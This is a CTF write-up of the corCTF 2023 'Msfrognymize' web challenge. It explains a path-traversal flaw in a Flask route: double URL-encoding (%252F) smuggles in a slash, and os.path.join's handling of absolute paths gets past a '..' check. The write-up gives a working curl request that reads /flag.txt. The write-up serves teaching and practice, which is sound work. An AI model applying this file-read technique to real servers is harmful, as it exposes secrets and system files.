corCTF 2023 - Msfrognymize

  • Author: jazzpizazz
  • Date:

Msfrognymize

challenge

This challenge was meant as a baby level web challenge. The user can upload a jpeg image and any faces are replaced by the infamous msfrog emoji. During testing I found out that it works particularly well with stock photos leading to gems like this one:

stock

The idea is that people can safely share any pictures as their faces get anonymized. As an extra security measure, EXIF data is encrypted using a secret key, which is loaded from /flag.txt

1 ENCRYPTION_KEY = open("/flag.txt", "rb").readline()

The app has just two routes: / for the upload form and /anonymized/<image_file> for serving the anonymized pictures. The code for this route looks like this:

1@app.route('/anonymized/<image_file>')
2def serve_image(image_file):
3    file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
4    if ".." in file_path or not os.path.exists(file_path):
5        return f"Image {file_path} cannot be found.", 404
6    return send_file(file_path, mimetype='image/png')

Normally we would not be able to add any slashes in our URL as that would cause it to not match our route. But because of the call to unquote which URL decodes our variable, we are able to smuggle in slashes. For instance /anonymized/some/folder will not match the route, but /anonymized/some%252Ffolder will match the route, and thus execute the serve_image function.

Notice how the slash is URL encoded twice: /%2F and then %2F%252F this is required as flask will URL decode once, before matching the route.

Going back to the /anonymized/some%252Ffolder example we get the following scenario:

1>>> import os
2>>> file_path = os.path.join('uploads/', 'some/folder')
3>>> file_path	
4'uploads/some/folder'

file_path is passed to send_file directly, so if we can somehow traverse up, we could serve the flag from /flag.txt . Normally we would just do the following:

1>>> file_path = os.path.join('uploads/', '../../../../flag.txt')
2>>> file_path
3'uploads/../../../../flag.txt'

But the following piece of code prevents us from doing that:

1if ".." in file_path or not os.path.exists(file_path):
2        return f"Image {file_path} cannot be found.", 404

There is however a funny quirk in os.path.join that allows us to traverse all the way up to the filesystem root without any .. characters. It is described in the Python documentation:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

This basically means that:

1>>> file_path = os.path.join('uploads/', '/flag.txt')
2>>> file_path
3'/flag.txt'

So to solve the challenge, all we need to to is smuggle in a slash using double URL encoding, followed by flag.txt:

1$ curl https://msfrognymize.be.ax/anonymized/%252Fflag.txt
2corctf{Fr0m_Priv4cy_t0_LFI}

The flag is: corctf{Fr0m_Priv4cy_t0_LFI}